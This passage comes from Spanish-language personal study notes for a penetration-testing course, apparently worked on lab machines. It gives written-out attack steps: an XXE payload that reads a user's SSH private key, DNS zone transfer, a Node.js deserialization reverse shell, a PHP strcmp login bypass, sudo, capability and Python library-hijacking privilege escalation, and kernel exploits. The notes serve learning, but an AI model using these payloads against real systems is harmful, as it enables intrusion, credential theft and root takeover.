<h1>&xee;</h1> (COMO YO SE QUE ESTA LINEA ME LA MUESTRA EN LA WEB, PUES MUESTRO LA VARIABLE XEE QUE ES UN WRAPPER Y SE MOSTRARIA EL CONTENIDO DEL FICHERO PASSWD)
```

- TAMBIEN PODRIAMOS HACER ESTO:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/roosa/.shh/id_rsa"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>  (alomejor esta linea se puede omitir)
```

<h1>&xee;</h1> (COPIO AL PORTAPAPELES LA CLAVE PRIVADA MOSTRADADEL USER ROOSA)

- Luego, en mi sistema: nano id_rsa (Y pego al private key copiada antes)

Le asigno permisos adecuados: chmod 600 id_rsa

Luego: ssh -i id_rsa roosa@10.10.10.91 (Y me conecto sin proporcionar contraseña)

VULNERABILIDAD DOMAIN ZONE TRANSFER

- Cuando estamos ante un dominio se puede intuir esta vulnerabilidad. O cuando hay virtual host routing

EJEMPLOS:

- dig @10.10.10.23 firendzone.red ns (Nos lista los nameservers disponibles)
- dig @10.10.10.23 firendzone.red mx (Nos lista los servidores de correo)
- dig @10.10.10.23 firendzone.red axfr (Ataque de transferencia de zona. Nos lista los subdominios existentes del dominio)

VULNERABILIDAD INSECURE DESARIALIZATION

- Por ejemplo, si accedemos a una web y abrimos el Burpsuite y nos sale en la respuesta una cosa llamativa en Cookie:Profile y una cadena rara, podemos decodificarla (en este caso estaba codificada en base64). Una vez codificada podemos añadir desde el Burpsuite una nueva cadena pero con nuestros datos, por ejemplo (lo enviamos al repeater).

- INSTALACION DE ALGUNAS HERRAMIENTAS:

- curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash –
- sudo apt install nodejs npm -y
- npm install node-serialize

Luego con un script en JS se serializa la data de la respuesta del servidor.

- DESCARGAMOS UNA HERRAMIENTA automatica para DESERIALIZAR: wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py (REPO: https://github.com/ajinabraham/Node.Js-Security-Course)

- EJECUTAR HERRAMIENTA: python nodejsshell.py MI_IP

EL RESULTADO DE LA EJECUCION ANTERIOR, NOS DA UNA CADENA EVAL() ENORME Y SI ESO LO PONEMOS DENTRO DE LA FUNCION UNSERIALIZE.js creada por s4vitar y el resultado luego de eso lo pasamos a base64 y lo ponemos en la cookie profile del burpsuite (En el repeater), nos entabla una reverse shell (antes de esto, ponerse en escucha con netcat).

VULNERABILIDAD TYPE JUGGLING SOBRE UN PANEL LOGIN

- Esto se da como cuándo por ejemplo en un panel login desarrollado en PHP se usa la función "strcmp" para comparar contraseñas o usuarios y demás para validar el formulario de login.

- Si yo por ejemplo con curl, en modo silencioso (-s), hago una petición al panel login con los [] en el campo password (donde se validó que con strcmp en el script de PHP), ahora se puede burlar la contraseña y acceder sin tener que saber la password: curl -S -X POST -data 'usuario=admin&passsword[]=algo' http://127.0.0.1/login.php | html2text (usuario y password es porque en el script de PHP se definieron esos dos campos con los 'name" usuario y password, respectivamente)

ESCALADA DE PRIVILEGIOS

- Escalar privilegios a través de un path hijacking, buffer overflow, sudores, software ...

ABUSO DEL SUDOERS PARA ESCALAR PRIVILEGIOS

- Imaginamos que yo soy un pequeño usuario llamado pepe y quiero pedirle al administrador que me deje ejecutar el comando ZIP como root para comprimir archivos, entonces el admin se lo piensa y dice venga vale te doy permiso. Entonces lo que hace es, modificar el fichero /etc/sudoers y poner la línea: pepe ALL=(root) NOPASSWD: /usr/bin/zip

- sudo -l (Listo mis privilegios)

- Si yo que puedo ejecutar el comando zip como root (es decir puedo hacer un: sudo zip archivo), pero por ejemplo el comando whoami no puedo ejecutarlo como root (es decir no puedo poner sudo whoami, porque me dice que debo ser root para ello). Entonces, en este punto, si yo voy a la página gtfobins.github.io y busco el comando zip por sudo, ejecutando la instrucción que me dice, ganaría acceso como root sin problemas.

ABUSO DE LAS CAPABILITIES PARA ESCALAR PRIVILEGIOS EN EL SISTEMA

- RETOMAR QUE SI ASIGNAMOS UNCA CAPABILITIE A ALGO Y PODEMOS CON ESA HERRAMIENTA CAMBIAR EL SET UID O EJECUTAR ALGUNA BASH POR EJEMPLO, SERIAMOS ROOT.

- La capabilitie cap_setuid+ep permite cambiar el suid.

PATH HIJACKING LIBRARY HIJACKING

- Si yo por ejemplo creara un script en Python que use las librería haslib y sys, cuya ruta está en /usr/lib/python2.7/haslib.py, y en ese script yo no tengo suid ni nada por el estilo, es un script de python normal creado por pepito por ejemplo (usuario sin privilegios). Si yo ahora, en la misma ruta que el script de python, me creara un script de python llamado igual que la librería, es decir hashlib.py y ahí inyecto con python comandos maliciosos tal como:

```
import os
os.setuid(0)
os.system(/bin/bash)
```

- Y luego ejecuto mi primer script de python, iría a a llamar a librería de haslib y a la librería sys, ya que se hace uso de ellas en el primer script de python, pero llamaría al haslib.py que acabo de crear y contiene comandos maliiciosos, ya que el PATH de la librería sys de python tiene en primer lugar como ruta el directorio actual(.)

- TODO ESTO SE LLEVA A CABO DEBIDO A QUE LA LIBRERIA SYS DE PYTHON TIENE SU PROPIO PATH, Y COMO PRIMER ARGUMENTO DE SU PROPIO PATH TIENE EL DIRECTORIO ACTUAL (.), Y DE ESTA MANERA SE PODRÍA ACONTECER UN ATAQUE DE LIBRARY HIJACKING. Y todo esto se puede llevar a cabo porque tenía permisos de escritura en el directorio actual desde donde se ejecutó el script. También se podría si la ruta de la librería en el path de sys esta por el final del PATH y yo veo otros directorios del PATH de sys que tengo permisos de escritura, pues lo crearía ahí el script malicioso de Python y seria lo mismo (No tiene porque ser siempre en el directorio actual).

ABUSO DEL KERNEL PARA ESCALAR PRIVILEGIOS

- Ver versión del kernel: uname -a (Si la versión está por detrás de la 4, ya podrían ejecutarse explotaciones del kernel).

- Poniendo en google VERSION_KERNEL exploit kernel (Salen cositas para explotar desde la web exploit-db). Ejemplo de web: https://www.exploit-db.com/exploits/50808

- TAMBIEN LO ANTERIOR SE PUEDE HACER CON searchsploit

- Tras ejecutar el script en C (después de compilarlo con gcc) ya seriamos usuario firefart es decir root y ya somos admin.

RECONOCIMIENTO DEL SISTEMA

- Para enumerar un sistema podemos usar la siguiente herramienta, Linux smart enum:

INSTALACIÓN:

- git clone https://github.com/diego-treitos/linux-smart-enumeration

USO:

- cd linux-smart-enumeration

- ./lse.sh

- (LUEGO ESCRIBIMOS LA CONTRASEÑA DEL USUARIO ACTUAL)

TODO ESTO NOS DICE POSIBLES VULNERABILIDADES QUE HAYAN y se pueden explotar, PERO NO NOS LAS MUESTRA, PARA ELLO HACEMOS:

./lse.sh -l 2 (Nos muestra los archivos y demás, que se pueden explotar y con ellos escalar privilegios)

NOTA: TODO LO QUE PONGA "YES" SE PUEDE EXPLOTAR.

SECUENCIA DE TRABAJO PARA HACEKAR

1) mkdir Nombre_maquina
2) cd Nombre_maquina
3) mkt
4) cd nmap
5) nmap -sS --min-rate 5000 --open -vvv -n -Pn -p- 10.10.10.46 -oG allPorts
6) whatweb http://10.10.10.146
7) nmap -sC -sV -p22,80,443 10.10.10.191 -oN targeted
8) ponemos en Firefox: 10.10.10.46
9) Wappalizer (SI FUERA ALGUN CMS COMO WORDPRESS USAR HERRAMIENTAS COMO WPSAN, WPSEKU, etc.)
10) seacrhsploit
11) wfuzz

CONCLUSIONES

Tras finalizar el curso y este documento, he aprendido bastante acerca del hacking, del pentesting, como atacar diferentes sistemas pasando por todas sus fases, buenas prácticas de seguridad, diferentes herramientas orientadas a la ciberseguridad y la pentesting y los diferentes ataques y amenazas a las que se exponen los usuarios, empresas, etc en todo el mundo. Por todo ello, estos conocimientos me han servido de base para seguir aprendiendo y avanzando en el sector de la ciberseguridad.